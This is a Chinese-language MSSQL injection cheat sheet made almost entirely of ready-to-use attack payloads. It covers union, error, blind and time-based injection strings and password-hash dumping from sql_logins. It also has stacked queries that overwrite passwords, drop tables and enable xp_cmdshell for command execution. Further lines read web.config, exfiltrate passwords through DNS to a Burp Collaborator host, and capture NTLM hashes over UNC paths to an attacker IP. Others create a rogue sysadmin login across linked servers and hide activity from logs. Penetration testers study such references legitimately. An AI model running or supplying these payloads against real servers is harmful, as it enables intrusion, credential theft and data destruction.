作者	修订时间
	2023-07-05 21:37:29

MSSQL 默认数据库

MSSQL 注释

MSSQL 用户

SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;

MSSQL Version

SELECT @@version

MSSQL 主机名

SELECT HOST_NAME()
SELECT @@hostname
SELECT @@SERVERNAME
SELECT SERVERPROPERTY('productversion')
SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition');

MSSQL 数据库名称

SELECT DB_NAME()

MSSQL 数据库凭据

• ：哈希猫模式 131： 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578

    SELECT name, password FROM master..sysxlogins
    SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
    -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
  

• ：哈希猫模式 132： 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe

    SELECT name, password_hash FROM master.sys.sql_logins
    SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
  

MSSQL 列表数据库

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb   (Only works in MSSQL 2017+)

MSSQL 列表列

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns

MSSQL 列表表

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)

基于 MSSQL 联合

-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT  UserId, UserName from Users

MSSQL 基于错误

For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '

MSSQL 基于盲的

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL 基于时间

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

MSSQL 堆叠查询

• 没有任何语句终止符

    -- multiple SELECT statements
    SELECT 'A'SELECT 'B'SELECT 'C'
  
    -- updating password with a stacked query
    SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--
  
    -- using the stacked query to enable xp_cmdshell
    -- you won't have the output of the query, redirect it to a file 
    SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
  

• 使用分号“；”添加另一个查询

    ProductID=1; DROP members--
  

MSSQL 读取文件

权限：选项需要或 ADMINISTER DATABASE BULK OPERATIONS 权限。

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

MSSQL 命令执行

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

如果需要重新激活 xp_cmdshell（在 SQL Server 2005 中默认为禁用）

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

与 MSSQL 实例交互。

sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758

执行 Python 脚本

由不同于使用 xp_cmdshell 执行命令的用户执行

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

MSSQL 带外

MSSQL DNS 外过滤

https://twitter.com/ptswarm/status/1313476695295512578/photo/1中的技术

# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))

MSSQL UNC 路径

MSSQL 支持堆叠查询，因此我们可以创建一个指向 IP 地址的变量，然后使用 xp_dirtree 函数列出 SMB 共享中的文件并获取 NTLMv2 哈希。

1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--

xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

MSSQL 使用户成为 DBA（数据库管理员）

EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

MSSQL 受信任的链接

数据库之间的链接甚至可以跨林信任进行工作。

msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio

人工开采

-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

列出权限

列出当前用户在服务器上的有效权限。

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

列出当前用户对数据库的有效权限。

SELECT * FROM fn_my_permissions (NULL, 'DATABASE');

列出当前用户对视图的有效权限。

SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;

检查当前用户是否是指定服务器角色的成员。

-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');

MSSQL 操作系统

在查询中使用 SP_PASSWORD 可以隐藏日志，如：

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

参考文献

• Pentest Monkey-mssql sql 注入备忘单
• 基于错误-SQL 注入.pdf）
• MSSQL 可信链接-HackTricks.xyz
• SQL Server-链接…链接…链接和外壳：如何破解 SQL Server 中的数据库链接！-Antti Rantasaari-2013 年 6 月 6 日
• DAFT：数据库审计框架和工具包-NetSPI
• SQL Server UNC 路径注入 Cheatsheet-nullbind
• 完整 MSSQL 注入 PWNage-ZeQ3uL&&JabAv0C-2009 年 1 月 28 日
• Microsoft-sys.fn_my_permissions（Transact-SQL）
• Microsoft-IS_SRVROLEMEMBER（Transact-SQL）
• 由于选择了 Unorthodox MSSQL 设计，AWS WAF 客户端易受 SQL 注入攻击-Marc Olivier Bergeron-2023 年 6 月 21 日